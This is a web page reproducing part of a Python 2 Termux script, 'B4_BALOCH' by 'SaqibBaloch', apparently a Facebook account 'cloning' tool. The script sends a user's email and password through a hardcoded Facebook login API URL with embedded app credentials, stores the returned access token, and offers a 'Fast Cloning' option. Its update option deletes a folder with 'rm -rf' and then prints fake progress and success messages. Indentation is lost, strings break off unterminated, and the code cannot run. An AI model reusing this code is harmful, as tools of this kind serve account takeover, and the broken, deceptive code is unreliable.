Termux command saqi.py
#!/usr/bin/python2
#coding=utf-8
import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib
from multiprocessing.pool import ThreadPool
try:
import requests
except ImportError:
os.system('pip2 install requests')
try:
import mechanize
except ImportError:
os.system('pip2 install mechanize')
os.system('python2 B4.py')
from requests.exceptions import ConnectionError
from mechanize import Browser
#### browser ####
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
#### colours ####
B='\33[1;94m'
R='\33[1;91m'
G='\33[1;92m'
W='\33[1;97m'
S='\33[1;96m'
P='\33[1;95m'
Y='\33[1;93m'
#### exit ####
def exb():
print (R + 'Exit')
os.sys.exit()
#### clear ####
def cb():
os.system('clear')
#### time sleep ####
def t():
time.sleep(1)
def t1():
time.sleep(0.01)
#### print std ####
def psb(z):
for e in z + '\':
sys.stdout.write(e)
sys.stdout.flush()
t1()
#### token remove ####
def trb():
os.system('rm -rf token.txt')
##### LOGO #####
logo='''
\33[1;94m ┈┈┈┈╱▔▔▔▔╲┈┈┈┈☞☞☞☞☞☞\33[1;91m☜☜☜☜☜┈┈┈┈╱▔▔▔▔╲┈┈┈┈
\33[1;94m ┈┈┈▕▕B4 M4▏▏┈┈┈☞☞☞☞☞☞\33[1;91m☜☜☜☜☜┈┈┈▕▕B4 M4▏▏┈┈┈
\33[1;94m ┈┈┈▕▕▂╱╲▂▏▏┈┈┈☞☞☞☞☞☞\33[1;91m☜☜☜☜☜┈┈┈▕▕▂╱╲▂▏▏┈┈┈
\33[1;94m ┈┈┈┈╲┊┊┊┊╱┈┈┈┈\33[1;94mSAQIBBaloch.\33[1;91m┈┈┈┈╲┊┊┊┊╱┈┈┈┈
\33[1;96m ┈┈┈┈▕╲▂▂╱▏┈┈┈┈☞☞☞☞☞☞\33[1;91m☜☜☜☜☜┈┈┈┈▕╲▂▂╱▏┈┈┈┈
\33[1;96m ╱▔▔▔▔┊┊┊┊▔▔▔▔╲☞☞☞☞☞☞\33[1;91m☜☜☜☜☜╱▔▔▔▔┊┊┊┊▔▔▔▔╲
\33[1;96m................\33[1;93msaqibBaloch\33[1;91m...............
\33[1;96m................\33[1;93m✬🄵🄰🄲🄴🄱🄾🄾🄺✬\33[1;91m..............
\33[1;96m░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
\33[1;91m☞ Auther : B4_BALOCH_M4_MASTER
\33[1;92m☞ WhatsApp : 03367070297
\33[1;95m☞ YouTube :
\33[1;93m░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
'''
back=0
successfull=[]
checkpoint=[]
oks=[]
cps=[]
id=[]
#### login ####
def login():
cb()
try:
tb=open('token.txt', 'r')
menu()
except (KeyError,IOError):
cb()
print (logo)
print (R + '◈━━━━▷' + S + ' Login With ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ' + R + '◁━━━━◈')
print
id=raw_input(S + '[☆] ' + S + 'Email: ' + G +'')
pwd=getpass.getpass(S + '[♡] ' + R + 'Password : ')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pwd)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
z=json.load(data)
if 'access_token' in z:
st = open("token.txt", "w")
st.write(z["access_token"])
st.close()
print (S + '[☆]' + Y + ' Login successfull 100% ✓')
os.system('xdg-open https://youtube.com/channel/UCRnpWUOCz3Sb1RAX3GK4r0A')
menu()
else:
if "www.facebook.com" in z["error_msg"]:
print (R + 'Account has a checkpoint !')
t()
login()
else:
print (R + 'number/user id/ password is wrong !')
trb()
t()
login()
def menu():
cb()
try:
tb=open('token.txt','r').read()
except IOError:
print (R + 'Token Invalid !')
trb()
t()
login()
try:
otw=requests.get('https://graph.facebook.com/me?access_token='+tb)
a=json.loads(otw.text)
except KeyError:
print (G + 'Account has a checkpoint !')
trb()
t()
login()
except requests.exceptions.ConnectionError:
print (W + 'No internet connection !')
t()
exb()
cb()
print (logo)
print (S + '[☆] ' + G + 'ID Name: ' + R + a['name'])
print (S + '[☆] ' + G + 'User ID: ' + R + a['id'])
print
print (S + 50*'-')
print
print (S + '[' + P + '☞1' + S + ']' + S + ' Fast Cloning New Update')
print (S + '[' + P + '☞2' + S + ']' + S + ' Update B4_BALOCH Tool')
print (S + '[' + P + '☞3' + S + ']' + S + ' B4_BALOCH WhatsApp Group')
print (S + '[' + Y + '☞4' + S + ']' + G + ' Log Out')
print (S + '[' + Y + '☞0' + S + ']' + R + ' Exit')
print
print (S + 50*'-')
print
mb()
def mb():
bm=raw_input(W + ' ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ')
if bm =='':
print (R + 'Select a valid option !')
mb()
elif bm =='1':
pak()
elif bm =='2':
os.system('rm -rf $HOME/B4_BALOCH')
os.system('cd $HOME
cb()
print (logo)
psb('☆10%')
psb('☆☆20%')
psb('☆☆☆30%')
psb('☆☆☆☆40%')
psb('☆☆☆☆☆50%')
psb('☆☆☆☆☆☆60%')
psb('☆☆☆☆☆☆☆70%')
psb('☆☆☆☆☆☆☆☆80%')
psb('☆☆☆☆☆☆☆☆☆90%')
psb('☆☆☆☆☆☆☆☆☆☆100%')
psb('Frends login new Account✓')
psb('WhatsApp Num 03232132362✓')
psb('WellCome To B4_BALOCH')
psb('Congratulations B4_BALOCH Tool Has Been Updated Successfully')
psb('🔓User Name☆ 786786✓
Comments
Post a Comment